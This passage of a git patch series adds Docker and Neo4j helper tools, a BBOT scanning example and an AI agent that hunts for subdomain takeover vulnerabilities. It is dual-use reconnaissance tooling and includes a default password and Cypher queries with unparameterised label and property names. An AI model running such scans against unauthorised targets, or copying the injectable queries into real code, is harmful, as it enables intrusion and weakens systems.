++++++++++++++++++++++ examples/agents/bbot/agent.py | 56 ++-- 4 files changed, 822 insertions(+), 21 deletions(-) create mode 100644 dreadnode/agent/tools/envs/docker.py create mode 100644 dreadnode/agent/tools/envs/neo4j.py diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index be61c74a..924388a8 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,4 +1,3 @@ -import typing as t from pathlib import Path from bbot import Preset, Scanner @@ -64,7 +63,7 @@ async def run( modules: list[str] | None = None, presets: list[str] | None = None, flags: list[str] | None = None, - config: dict[str, t.Any] | None = None, + config: list[str] | None = None, ) -> str: r""" Executes a BBOT scan against the specified targets. diff --git a/dreadnode/agent/tools/envs/docker.py b/dreadnode/agent/tools/envs/docker.py new file mode 100644 index 00000000..2131281e --- /dev/null +++ b/dreadnode/agent/tools/envs/docker.py @@ -0,0 +1,428 @@ +import asyncio +import contextlib +import typing as t +from contextlib import asynccontextmanager +from dataclasses import dataclass, field +from pathlib import Path + +import aiodocker +import aiodocker.containers +import aiodocker.exceptions +import aiodocker.networks +import aiodocker.types +from loguru import logger + +# Helpers + + +def _parse_memory_limit(limit: str) -> int: + """Converts a human-readable memory string (e.g., '4g', '512m') to bytes.""" + limit = limit.lower().strip() + value_str = limit[:-1] + unit = limit[-1] + + try: + value = float(value_str) + if unit == "g": + return int(value * 1024**3) + if unit == "m": + return int(value * 1024**2) + if unit == "k": + return int(value * 1024) + # Assume bytes if no unit + return int(float(limit)) + except (ValueError, IndexError) as e: + raise ValueError( + f"Invalid memory limit format: '{limit}'. Use 'g', 'm', 'k' or bytes." + ) from e + + +# Config + + +@dataclass(frozen=True) +class HealthCheckConfig: + """ + Defines a command-based health check for a container, inspired by Docker Compose. + """ + + command: list[str] + """The command to run inside the container. Health is determined by exit code 0.""" + interval_seconds: int = 5 + """Seconds to wait between health checks.""" + timeout_seconds: int = 10 + """Seconds to wait for the command to complete before considering it failed.""" + retries: int = 5 + """Number of consecutive failures before marking the container as unhealthy.""" + start_period_seconds: int = 0 + """Grace period for the container to start before checks begin. Failures during this period don't count.""" + + async def wait_for_healthy(self, container: aiodocker.containers.DockerContainer) -> None: + """ + Continuously runs a health check command inside a container until it succeeds + or the retry limit is exceeded. + """ + info = await container.show() + container_name = info["Name"].lstrip("/") + + if self.start_period_seconds > 0: + logger.debug( + f"Waiting start period ({self.start_period_seconds}s) for '{container_name}' ..." + ) + await asyncio.sleep(self.start_period_seconds) + + for retry in range(self.retries): + try: + logger.debug(f"Running health check #{retry + 1}: {self.command}") + exec_instance = await container.exec(self.command) + + async def health_check_task() -> None: + async with exec_instance.start() as stream: # noqa: B023 + while True: + message = await stream.read_out() + if message is None: + break + + await asyncio.wait_for(health_check_task(), timeout=self.timeout_seconds) + result = await exec_instance.inspect() + + if result.get("ExitCode") == 0: + logger.debug(f"Container '{container_name}' passed health check") + return + + logger.debug( + f"Health check #{retry + 1} failed with exit code {result.get('ExitCode')}. " + f"Retrying in {self.interval_seconds}s ..." + ) + + except asyncio.TimeoutError: + logger.debug( + f"Health check #{retry + 1} timed out after {self.timeout_seconds}s. " + f"Retrying in {self.interval_seconds}s ..." + ) + except Exception as e: + error = str(e) + if isinstance(e, aiodocker.exceptions.DockerError): + error = e.message + logger.error(f"Container '{container_name}' health check failed: {error}") + break + + await asyncio.sleep(self.interval_seconds) + + raise asyncio.TimeoutError( + f"Container '{container_name}' failed to become healthy after {retry} retries" + ) + + +@dataclass(frozen=True) +class ContainerConfig: + name: str | None = None + """Optional name for the container. If not provided, a random name will be generated.""" + hostname: str | None = None + """Optional hostname to use for the container (otherwise this will default to the container name).""" + ports: list[int] = field(default_factory=list) + """List of ports to expose from the container.""" + env: dict[str, str] = field(default_factory=dict) + """Environment variables to set in the container.""" + volumes: dict[str | Path, str] = field(default_factory=dict) + """Volumes to mount in the container (host path -> container path).""" + command: list[str] | None = None + """Command to run in the container (overrides the image's default).""" + memory_limit: str | None = None + """Memory limit for the container (e.g., '4g', '512m').""" + extra_hosts: dict[str, str] = field(default_factory=dict) + """Additional hostnames to add to the container's /etc/hosts file.""" + network_name: str | None = None + """Name of the Docker network to connect the container to - will be created if it doesn't exist.""" + network_aliases: list[str] = field(default_factory=list) + """Aliases for the container in the network.""" + network_isolation: bool = False + """Whether to isolate the container in its own network.""" + health_check: HealthCheckConfig | None = None + """An optional, command-based health check to verify container readiness.""" + + def merge(self, other: "ContainerConfig | None") -> "ContainerConfig": + """Merges another config into this one, with 'other' taking precedence.""" + if other is None: + return self + + return ContainerConfig( + ports=sorted(set(self.ports) | set(other.ports)), + env={**self.env, **other.env}, + volumes={**self.volumes, **other.volumes}, + command=other.command or self.command, + memory_limit=other.memory_limit or self.memory_limit, + network_name=other.network_name or self.network_name, + hostname=other.hostname or self.hostname, + name=other.name or self.name, + extra_hosts={**self.extra_hosts, **other.extra_hosts}, + network_aliases=list(set(self.network_aliases) | set(other.network_aliases)), + network_isolation=other.network_isolation or self.network_isolation, + health_check=other.health_check or self.health_check, + ) + + +@dataclass(frozen=True) +class ContainerContext: + """Provides the dynamic runtime context of a running container.""" + + id: str + name: str + config: ContainerConfig + hostname: str + ip_address: str + ports: dict[int, int] + network_name: str | None + container: aiodocker.containers.DockerContainer + + # In the ContainerContext class: + + async def run( + self, + cmd: str, + *, + workdir: str | None = None, + timeout: int | None = 60, + shell: str = "/bin/sh", + privileged: bool = True, + stream_output: bool = True, + ) -> tuple[int, str]: + """ + Executes a command in the container's context, with optional timeout and workdir. + + Args: + cmd: The command to execute. + workdir: Optional working directory inside the container. + timeout: Maximum time to wait for command completion (default 60 seconds) or None for no timeout. + shell: The shell to use for command execution (default "/bin/sh"). + privileged: Whether to run the command in privileged mode (default True). + stream_output: If True, display command output in a live Rich panel. + + Returns: + A tuple of (exit_code, output) where: + - exit_code: The command's exit code (0 for success, 124 for timeout). + - output: The command's standard output as a string. + """ + logger.debug(f"Executing in '{self.name}' ({self.id[:12]}) (timeout: {timeout}s): {cmd}") + + args = [shell, "-c", cmd] + if timeout is not None: + args = ["timeout", "-k", "1", "-s", "SIGTERM", str(timeout), *args] + + exec_instance = await self.container.exec(args, privileged=privileged, workdir=workdir) + + output = "" + with logger.contextualize(prefix=self.name): + async with exec_instance.start() as stream: + while True: + message = await stream.read_out() + if message is None: + break + chunk = message.data.decode(errors="replace") + if stream_output: + logger.info(chunk.strip()) + output += chunk + + inspection = await exec_instance.inspect() + exit_code = inspection.get("ExitCode", None) or 0 + if exit_code == 124: # noqa: PLR2004 + logger.warning(f"Command timed out after {timeout}s") + + return exit_code, output + + +@asynccontextmanager +async def monitor_container( + container: aiodocker.containers.DockerContainer, +) -> t.AsyncGenerator[None, None]: + """A context manager to monitor a container and log unexpected exits.""" + shutdown_event = asyncio.Event() + + async def monitor_task_func() -> None: + try: + wait_task = asyncio.create_task(container.wait()) + shutdown_task = asyncio.create_task(shutdown_event.wait()) + + done, pending = await asyncio.wait( + [wait_task, shutdown_task], return_when=asyncio.FIRST_COMPLETED + ) + + for task in pending: + task.cancel() + + if wait_task in done and not shutdown_event.is_set(): + info = await container.show() + exit_code = info["State"]["ExitCode"] + if exit_code != 0: + logs = await container.log(stdout=True, stderr=True) + log_str = "".join(logs) + container_name = info["Name"].lstrip("/") + logger.error( + f"Container '{container_name}' ({container.id[:12]}) " + f"exited unexpectedly with code {exit_code}:\n{log_str}" + ) + except asyncio.CancelledError: + pass # Task was cancelled, which is expected on cleanup + except aiodocker.exceptions.DockerError as e: + logger.error(f"Error in container monitoring task: {e}") + + monitor_task = asyncio.create_task(monitor_task_func()) + + try: + yield + finally: + shutdown_event.set() + with contextlib.suppress(asyncio.CancelledError): + await monitor_task + + +@asynccontextmanager +async def container( # noqa: PLR0912, PLR0915 + image: str, config: ContainerConfig | None = None, client: aiodocker.Docker | None = None +) -> t.AsyncGenerator[ContainerContext, None]: + """An async context manager for the full lifecycle of a Docker container.""" + + try: + client = client or aiodocker.Docker() + except Exception as e: + raise RuntimeError("Failed to connect to Docker client. Is Docker running?") from e + + container: aiodocker.containers.DockerContainer | None = None + network: aiodocker.networks.DockerNetwork | None = None + network_created_by_us = False + container_name = "unknown" + + config = config or ContainerConfig() + + try: + # Pull the image if it doesn't exist + + try: + await client.images.inspect(image) + logger.info(f"Image '{image}' already exists locally") + except aiodocker.exceptions.DockerError: + logger.info(f"Pulling image '{image}'. This may take a moment ...") + await client.images.pull(image) + await client.images.inspect(image) + logger.success(f"Successfully pulled image '{image}'") + + # Setup the network + + if config.network_name: + try: + network = await client.networks.get(config.network_name) + logger.info(f"Using existing network '{config.network_name}'") + except aiodocker.exceptions.DockerError: + logger.info(f"Network '{config.network_name}' not found, creating it ...") + network = await client.networks.create( + {"Name": config.network_name, "Driver": "bridge"} + ) + network_created_by_us = True + logger.success(f"Created isolated network '{config.network_name}'") + + # Build the config + + extra_hosts = {"host.docker.internal": "host-gateway", **config.extra_hosts} + host_config: dict[str, t.Any] = { + "Binds": [f"{Path(h).expanduser().resolve()}:{c}" for h, c in config.volumes.items()], + "PortBindings": {f"{p}/tcp": [{"HostPort": "0"}] for p in config.ports}, + "ExtraHosts": [f"{k}:{v}" for k, v in extra_hosts.items()], + } + + if config.memory_limit: + host_config["Memory"] = str(_parse_memory_limit(config.memory_limit)) + host_config["MemorySwap"] = "-1" # Disable swap for performance predictability + + create_config: aiodocker.types.JSONObject = { + "Image": image, + "Env": [f"{k}={v}" for k, v in config.env.items()], + "ExposedPorts": {f"{p}/tcp": {} for p in config.ports}, + "HostConfig": host_config, + "Cmd": config.command, + "Hostname": config.hostname, + **({"Entrypoint": ""} if config.command else {}), + } + + logger.debug(f"Creating container for image '{image}' ...") + container = await client.containers.create(config=create_config) + + # Connect to network + + if network: + await network.connect( + {"Container": container.id, "EndpointConfig": {"Aliases": config.network_aliases}} + ) + + # Start the container + + await container.start() + + with contextlib.suppress(asyncio.TimeoutError): + await asyncio.wait_for(container.wait(), timeout=1) + + # Check for non-zero exit code + + info = await container.show() + if info["State"]["ExitCode"] != 0: + logs = await container.log(stdout=True, stderr=True) + log_str = "\n".join(logs) + raise RuntimeError(f"Container failed to start:\n{log_str}") + + # Gather info + + info = await container.show() + container_name = info["Name"].lstrip("/") + logger.info(f"Started container '{container_name}' ({container.id[:12]})") + + mapped_ports = { + p: int(info["NetworkSettings"]["Ports"][f"{p}/tcp"][0]["HostPort"]) + for p in config.ports + } + if mapped_ports: + logger.info(f"Port mappings: {mapped_ports}") + + container_ip = info["NetworkSettings"]["IPAddress"] + + async with monitor_container(container): + # Health check + + if config.health_check: + logger.info( + f"Waiting for '{container_name}' ({container.id[:12]}) to be healthy ..." + ) + await config.health_check.wait_for_healthy(container) + else: + logger.debug("No health check configured, assuming container is ready.") + + yield ContainerContext( + id=container.id, + name=container_name, + config=config, + hostname=config.hostname or container_name, + ip_address=container_ip, + ports=mapped_ports, + network_name=config.network_name, + container=container, + ) + + finally: + # Teardown + if container: + logger.debug(f"Cleaning up container '{container_name}' ({container.id[:12]}) ...") + try: + await container.stop(timeout=1) + # await container.delete(force=True) + logger.info( + f"Successfully stopped container '{container_name}' ({container.id[:12]})" + ) + except aiodocker.exceptions.DockerError as e: + logger.warning( + f"Could not remove container '{container_name}' ({container.id[:12]}): {e}" + ) + + if network and network_created_by_us: + logger.debug(f"Removing network '{network.id}'...") + await network.delete() + logger.info(f"Successfully removed network '{network.id}'.") + + await client.close() diff --git a/dreadnode/agent/tools/envs/neo4j.py b/dreadnode/agent/tools/envs/neo4j.py new file mode 100644 index 00000000..d323da9a --- /dev/null +++ b/dreadnode/agent/tools/envs/neo4j.py @@ -0,0 +1,356 @@ +import asyncio +import logging +import types +import typing as t +from contextlib import AsyncExitStack +from pathlib import Path + +import rigging as rg +import typing_extensions as te +from loguru import logger +from neo4j import AsyncDriver, AsyncGraphDatabase + +from dreadnode.agent.tools import Toolset, tool_method +from dreadnode.agent.tools.envs.docker import ( + ContainerConfig, + ContainerContext, + HealthCheckConfig, + container, +) + +# Reduce Neo4j logging noise +logging.getLogger("neo4j").setLevel(logging.ERROR) + +Mode = t.Literal["container", "external"] + + +class Neo4jTool(Toolset): + """ + A high-level client for interacting with a Neo4j database. + (Docstrings for modes remain the same) + """ + + def __init__( + self, + username: str = "neo4j", + password: str = "password", # noqa: S107 + uri: str | None = None, + image: str = "neo4j:latest", + data_dir: Path | str = ".neo4j", + container_config: ContainerConfig | None = None, + ): + """ + Create a Neo4jTool instance using either a managed container or an external database URI. + + If `uri` is provided, it connects to an existing Neo4j database, otherwise a new container is started. + + Args: + username: Neo4j database username. + password: Neo4j database password. + uri: Optional URI to connect to an existing Neo4j database. + image: Docker image to use for the Neo4j container. + data_dir: Directory to store Neo4j data when running in container mode. + container_config: Optional configuration for the Neo4j container. + """ + + self.mode: t.Literal["container", "external"] = "external" + self.image: str = image + self.uri: str | None = uri + self.auth: tuple[str, str] = ("neo4j", password) + self.data_dir = Path(data_dir).absolute() + self.container_config: ContainerConfig | None = None + + self._driver: AsyncDriver | None = None + self._container_context = t.cast( + "t.AsyncContextManager[ContainerContext]", AsyncExitStack() + ) + + if self.uri is None: + self.mode = "container" + self.data_dir.mkdir(parents=True, exist_ok=True) + + self.container_config = ContainerConfig( + ports=[7687, 7474], + env={"NEO4J_AUTH": f"{username}/{password}"}, + hostname="neo4j", + volumes={self.data_dir: "/data"}, + health_check=HealthCheckConfig( + command=[ + "cypher-shell", + "-u", + "neo4j", + "-p", + password, + "-d", + "neo4j", + "RETURN 1", + ], + interval_seconds=1, + retries=15, + start_period_seconds=3, + ), + ).merge(container_config) + + self._container_context = container(self.image, config=self.container_config) + + # 1 + # - Neo4j starts a container - driver connects to the container + # - BBOT runs in a container - BBOT connects to the other (neo4j) container (swap for host.docker.internal) + # + # 2 + # - Neo4j URI is provided (probably from host context (localhost:7474)) - driver connects to the URI + # - BBOT runs in a container - BBOT connects to the host Neo4j instance (swap for host.docker.internal) + # + # 3 + # - Neo4j starts in a container - driver connects to the container (always host context) + # - BBOT runs on the host - BBOT connects to the Neo4j container (don't swap host.docker.internal) + # + # 4 + # - Neo4j URI is provided (probably from host context (localhost:7474)) - driver connects to the URI + # - BBOT runs on the host - BBOT connects to the host Neo4j instance (don't swap host.docker.internal) + + async def __aenter__(self) -> "te.Self": + """ + Enters the context, starting a container or connecting to a URI. + """ + if self.mode == "container": + logger.info("Starting Neo4j container ...") + ctx = await self._container_context.__aenter__() + self.uri = f"bolt://localhost:{ctx.ports[7687]}" + logger.success(f"Neo4j container started '{ctx.name}'") + logger.info(f" |- Dashboard: http://localhost:{ctx.ports[7474]}") + logger.info(f" |- Bolt URI: {self.uri}") + + if not self.uri or not self.auth: + raise RuntimeError("Internal state error: URI or auth not set.") + + self._driver = AsyncGraphDatabase.driver(self.uri, auth=self.auth) + try: + await self._driver.verify_connectivity() + logger.success(f"Successfully connected to Neo4j at {self.uri}") + except Exception as e: + logger.error(f"Failed to connect to Neo4j at {self.uri}: {e}") + await self._container_context.__aexit__(type(e), e, e.__traceback__) + raise + + return self + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: types.TracebackType | None, + ) -> None: + """ + Exits the context, closing the driver and cleaning up the container if managed. + """ + if self._driver: + await self._driver.close() + await self._container_context.__aexit__(exc_type, exc_val, exc_tb) + + @rg.tool_method(catch=True) + async def query( + self, cypher: str, params: dict[str, t.Any] | None = None + ) -> list[dict[str, t.Any]]: + """ + Runs a Cypher query against the connected Neo4j instance. + + Args: + cypher: The Cypher query string to execute. + params: Optional parameters for the query. + """ + if not self._driver: + raise RuntimeError("Neo4jTool must be used within an 'async with' block.") + + async with self._driver.session() as session: + result = await session.run(cypher, params or {}) + return [record.data() async for record in result] + + @rg.tool_method(catch=True) + async def get_nodes( + self, label: str, filters: dict[str, t.Any] | None = None, limit: int | None = 100 + ) -> list[dict[str, t.Any]]: + """ + Fetches nodes by label with optional property filtering. + + Args: + label: The node label to query (e.g., 'Person', 'Product'). + filters: A dictionary of property-value pairs for exact matching. + limit: The maximum number of nodes to return. + + Returns: + A list of nodes, where each node is a dictionary of its properties. + """ + # We use a WHERE clause for the label to allow parameterization, + # which is safer than f-string formatting for the label itself. + cypher = f""" + MATCH (n) + WHERE $label IN labels(n) + {"AND " + " AND ".join(f"n.`{key}` = ${key}" for key in filters) if filters else ""} + RETURN n + {f"LIMIT {limit}" if limit is not None else ""} + """ + + # Combine parameters + params = {"label": label} + if filters: + params.update(filters) + + result = await self.query(cypher, params) + return [record["n"] for record in result] + + @rg.tool_method(catch=True) + async def get_schema(self) -> dict[str, t.Any]: + """ + Retrieves a comprehensive schema of the Neo4j database. + + Returns a dictionary containing node labels, relationship types, + properties for nodes and relationships, and all constraints and indexes. + This is essential for understanding the data model and constructing + effective queries. + + Returns: + A dictionary with keys: 'node_labels', 'relationship_types', + 'node_properties', 'relationship_properties', 'constraints', 'indexes'. + """ + + queries = { + "node_labels": "CALL db.labels() YIELD label", + "relationship_types": "CALL db.relationshipTypes() YIELD relationshipType", + "node_properties": "CALL db.schema.nodeTypeProperties()", + "relationship_properties": "CALL db.schema.relTypeProperties()", + "constraints": "SHOW CONSTRAINTS", + "indexes": "SHOW INDEXES", + } + + # Query and unpack results + results = await asyncio.gather(*(self.query(q) for q in queries.values())) + ( + node_labels_res, + rel_types_res, + node_props_res, + rel_props_res, + constraints_res, + indexes_res, + ) = results + + # Process the results + schema: dict[str, t.Any] = { + "node_labels": sorted([r["label"] for r in node_labels_res]), + "relationship_types": sorted([r["relationshipType"] for r in rel_types_res]), + "node_properties": {}, + "relationship_properties": {}, + "constraints": [dict(r) for r in constraints_res], + "indexes": [dict(r) for r in indexes_res], + } + + # Structure node properties + for record in node_props_res: + label = record.get("nodeType", "").lstrip(":") + if not label: + continue + if label not in schema["node_properties"]: + schema["node_properties"][label] = [] + + schema["node_properties"][label].append( + { + "property": record.get("propertyName"), + "types": record.get("propertyTypes"), + "mandatory": record.get("mandatory"), + } + ) + + # Structure relationship properties + for record in rel_props_res: + rel_type = record.get("relType", "").lstrip(":") + if not rel_type: + continue + if rel_type not in schema["relationship_properties"]: + schema["relationship_properties"][rel_type] = [] + + schema["relationship_properties"][rel_type].append( + { + "property": record.get("propertyName"), + "types": record.get("propertyTypes"), + "mandatory": record.get("mandatory"), + } + ) + + return schema + + @tool_method(catch=True) + async def explore_nodes( + self, label: str | None = None, property_filter: str | None = None, limit: int = 100 + ) -> list[dict[str, t.Any]]: + """ + Interactively explore nodes in the graph database. + + A flexible tool for discovering and examining nodes when you're not sure + exactly what you're looking for. Supports filtering by type and properties. + + Args: + label: Node type to filter by (e.g., 'DNS_NAME', 'FINDING', 'URL'). + Use get_schema() to see all available labels. + property_filter: Simple property filter + - 'property=value' for exact match + - 'property CONTAINS value' for substring match + limit: Maximum nodes to return (default: 100, max: 1000). + + Returns: + List of node records with all their properties. + """ + if limit < 1 or limit > 1000: # noqa: PLR2004 + raise ValueError("Limit must be between 1 and 1000.") + + query_parts = [f"MATCH (node:{label})" if label else "MATCH (node)"] + params: dict[str, t.Any] = {} + + if property_filter: + if "=" in property_filter: + prop, value = property_filter.split("=", 1) + query_parts.append(f"WHERE node.{prop} = $value") + params["value"] = value.strip() + elif "CONTAINS" in property_filter: + parts = property_filter.split("CONTAINS", 1) + if len(parts) == 2: # noqa: PLR2004 + prop, value = parts + query_parts.append(f"WHERE node.{prop.strip()} CONTAINS $value") + params["value"] = value.strip() + + query_parts.append("RETURN node LIMIT $limit") + query = " ".join(query_parts) + + return await self.query(query, {"limit": limit, **params}) + + @rg.tool_method(catch=True) + async def explore_relationships( + self, + source_label: str | None = None, + relationship_type: str | None = None, + target_label: str | None = None, + limit: int = 100, + ) -> list[dict[str, t.Any]]: + """ + Discover how different nodes are connected in the graph database. + + Args: + source_label: Type of source node (e.g., 'DNS_NAME', 'IP_ADDRESS'). + relationship_type: Relationship type (e.g., 'RESOLVES_TO', 'HAS_PORT'). + Use get_schema() to see all types. + target_label: Type of target node. + limit: Maximum relationships to return (default: 100). + + Returns: + List of relationships with source node, relationship properties, + and target node. + """ + if limit < 1 or limit > 1000: # noqa: PLR2004 + raise ValueError("Limit must be between 1 and 1000.") + + # Build the match pattern + source = f"(source:{source_label})" if source_label else "(source)" + rel = f"-[relationship:{relationship_type}]->" if relationship_type else "-[relationship]->" + target = f"(target:{target_label})" if target_label else "(target)" + query = f"MATCH {source}{rel}{target} RETURN source, relationship, target LIMIT $limit" + + return await self.query(query, {"limit": limit}) diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index c92dfd83..f93c3f2a 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,8 +1,8 @@ -import typing as t from pathlib import Path from rich.console import Console +import dreadnode as dn from dreadnode.agent.agent import Agent from dreadnode.agent.tools.bbot.tool import BBotTool @@ -12,11 +12,10 @@ app = App() - agent = Agent( name="bbot-agent", description="An agent that uses BBOT to perform various tasks.", - model="gpt-4", + model="meta-llama/llama-4-scout-17b-16e-instruct", ) @@ -50,30 +49,49 @@ async def scan( presets: list[str] | None = None, modules: list[str] | None = None, flags: list[str] | None = None, - config: Path | dict[str, t.Any] | None = None, + config: str | None = None, ) -> None: if isinstance(targets, Path): with Path.open(targets) as f: - targets = f.readlines() + loaded_targets = f.readlines() if not targets: console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return - tool = await BBotTool.create() - events = tool.run( - targets=targets, - presets=presets, - modules=modules, - flags=flags, - config=config, - ) - - async for event in events: - console.print(event) - # Add your agent logic here to process events - # if event == "FINDING": - # await agent.run(...) + dn.configure(server="https://platform.dreadnode.io", project="bug-bounty-rea") + + with dn.run("scan-name", tags=presets): + dn.log_params( + targets=loaded_targets, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + + tool = await BBotTool.create() + events = tool.run( + targets=loaded_targets, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + + all_events = [] + + async for event in events: + console.print(event) + all_events.append(event) + # Add your agent logic here to process events + # if event.type == "FINDING": + # await agent.run(...) + + for event in all_events: + with dn.task_span(event.type): + dn.log_output("event", event.json(siem_friendly=True)) + dn.log_metric(event.type, 1, mode="count", to="task-or-run") # Usage From a5c26de684681e60c41b24fbbce1a0e9e01bf11c Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:12:16 -0400 Subject: [PATCH 35/60] chore: setup dreadnode run --- dreadnode/agent/tools/kali/tool.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index 73ca248e..f1d01b43 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -871,7 +871,7 @@ def check_subdomain_takeover( if a_result.stdout.strip(): results.append(f"A record: {a_result.stdout.strip()}") else: - results.append("🚨 No A record found - potential dangling subdomain!") + results.append("No A record found") except Exception as e: results.append(f"A record check failed: {e}") From 8adc0584abc75176a3f8fc37561bb3bee15d0f9f Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:12:54 -0400 Subject: [PATCH 36/60] Revert "chore: setup dreadnode run" This reverts commit a5c26de684681e60c41b24fbbce1a0e9e01bf11c. --- dreadnode/agent/tools/kali/tool.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index f1d01b43..73ca248e 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -871,7 +871,7 @@ def check_subdomain_takeover( if a_result.stdout.strip(): results.append(f"A record: {a_result.stdout.strip()}") else: - results.append("No A record found") + results.append("🚨 No A record found - potential dangling subdomain!") except Exception as e: results.append(f"A record check failed: {e}") From 20057da6806062a15ad466cebacbcd07c8342999 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:17:56 -0400 Subject: [PATCH 37/60] chore: setup dreadnode run --- examples/agents/subdomain_takeover/agent.py | 357 ++++++++++++++------ 1 file changed, 247 insertions(+), 110 deletions(-) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index dfcd8fb7..cf5cc471 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -1,79 +1,85 @@ +import argparse +import asyncio +import re import typing as t from pathlib import Path -import re +import dreadnode as dn +import pydantic.dataclasses from rich.console import Console -from cyclopts import App from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool - -# Optional Neo4j integration -try: - from dreadnode.agent.tools.neo4j.tool import Neo4jTool - NEO4J_AVAILABLE = True -except ImportError: - NEO4J_AVAILABLE = False +from dreadnode.agent.tools.neo4j.tool import Neo4jTool # Import necessary components for Pydantic dataclass fix from dreadnode.agent.events import ( - Event, AgentStart, StepStart, GenerationEnd, - AgentStalled, AgentError, ToolStart, ToolEnd, AgentEnd + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, ) -from dreadnode.agent.state import State -from dreadnode.agent.result import AgentResult -from dreadnode.agent.reactions import Reaction -import pydantic.dataclasses +# Rebuild dataclasses after all imports are complete try: - critical_classes = [Event, AgentStart, StepStart, GenerationEnd, - AgentStalled, AgentError, ToolStart, ToolEnd, AgentEnd] + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + for event_class in critical_classes: pydantic.dataclasses.rebuild_dataclass(event_class) except Exception: pass + """Usage: uv run python examples/agents/subdomain_takeover/agent.py validate test.example.com uv run python examples/agents/subdomain_takeover/agent.py hunt --targets "/path/to/dir/subdomains.txt" """ -console = Console() -app = App() -# Show Neo4j availability status -if NEO4J_AVAILABLE: - console.print("[dim]Neo4j integration available - confirmed findings will be stored in database[/dim]") -else: - console.print("[dim]Neo4j integration not available - install neo4j package for database storage[/dim]") +# Configure Dreadnode +dn.configure(server=None, token=None, project="subdomain-takeover-agent", console=False) + + +console = Console() def create_takeover_agent() -> Agent: """Create a subdomain takeover analysis agent.""" - tools = [BBotTool(), KaliTool()] - - # Add Neo4j tool if available - if NEO4J_AVAILABLE: - tools.append(Neo4jTool()) - neo4j_instructions = "\n\nWhen you find CONFIRMED takeover vulnerabilities, store them using Neo4jTool.store_subdomain_takeover_finding(subdomain, vulnerability_type, risk_level, cname_target, error_message, service_provider). Use HIGH/MEDIUM/LOW for risk_level." - else: - neo4j_instructions = "" - + tools = [BBotTool(), KaliTool(), Neo4jTool()] + return Agent( name="subdomain-takeover-agent", description="An agent that detects and stores subdomain takeover vulnerabilities", model="gpt-4", tools=tools, - instructions=f"""You are an expert at detecting subdomain takeover vulnerabilities. + instructions="""You are an expert at detecting subdomain takeover vulnerabilities. FOCUS: Look for subdomains with DNS records (CNAME/A) pointing to unclaimed third-party services. Key patterns: - DNS resolves to third-party service (AWS S3, GitHub Pages, Heroku, Azure, Shopify, etc.) - Service responds with error messages indicating unclaimed/deleted resource: - * "No such bucket" + * "No such bucket" * "This site isn't configured" * "Project not found" * "There isn't a GitHub Pages site here" @@ -84,7 +90,9 @@ def create_takeover_agent() -> Agent: Example vulnerability: marketing.example.com → CNAME → myapp.herokudns.com (but myapp is deleted/unclaimed) -Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations.{neo4j_instructions}""", +Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations. + +When you find CONFIRMED takeover vulnerabilities, store them using Neo4jTool.store_subdomain_takeover_finding(subdomain, vulnerability_type, risk_level, cname_target, error_message, service_provider).""", ) @@ -93,17 +101,17 @@ def display_analysis_result(result: AgentResult, subdomain: str) -> None: if not result or not result.messages: console.print("Analysis completed but no content available") return - + # Show which tools the agent decided to use tools_used = [] for message in result.messages: if message.role == "assistant" and message.tool_calls: for tool_call in message.tool_calls: tools_used.append(tool_call.function.name) - + if tools_used: console.print(f"Agent used: {', '.join(tools_used)}") - + final_message = result.messages[-1] if final_message.content: console.print(f"\nAnalysis for {subdomain}:") @@ -111,35 +119,30 @@ def display_analysis_result(result: AgentResult, subdomain: str) -> None: console.print(f"\nProcessed {len(result.messages)} messages in {result.steps} steps") -@app.command async def modules() -> None: """List available BBOT modules.""" tool = await BBotTool.create() tool.get_modules() -@app.command async def presets() -> None: - """List available BBOT presets.""" + """List available BBOT presets.""" tool = await BBotTool.create() tool.get_presets() -@app.command async def flags() -> None: """List available BBOT flags.""" tool = await BBotTool.create() tool.get_flags() -@app.command async def events() -> None: """List available BBOT event types.""" tool = await BBotTool.create() tool.get_events() -@app.command async def hunt( targets: Path | None = None, presets: list[str] | None = None, @@ -148,6 +151,7 @@ async def hunt( config: Path | dict[str, t.Any] | None = None, ) -> None: """Hunt for subdomain takeover vulnerabilities using BBOT discovery.""" + if isinstance(targets, Path): with Path.open(targets) as f: targets = [line.strip() for line in f.readlines() if line.strip()] @@ -156,84 +160,217 @@ async def hunt( console.print("Error: No targets provided. Use --targets to specify targets.") return - console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") + # Start dreadnode run context + with 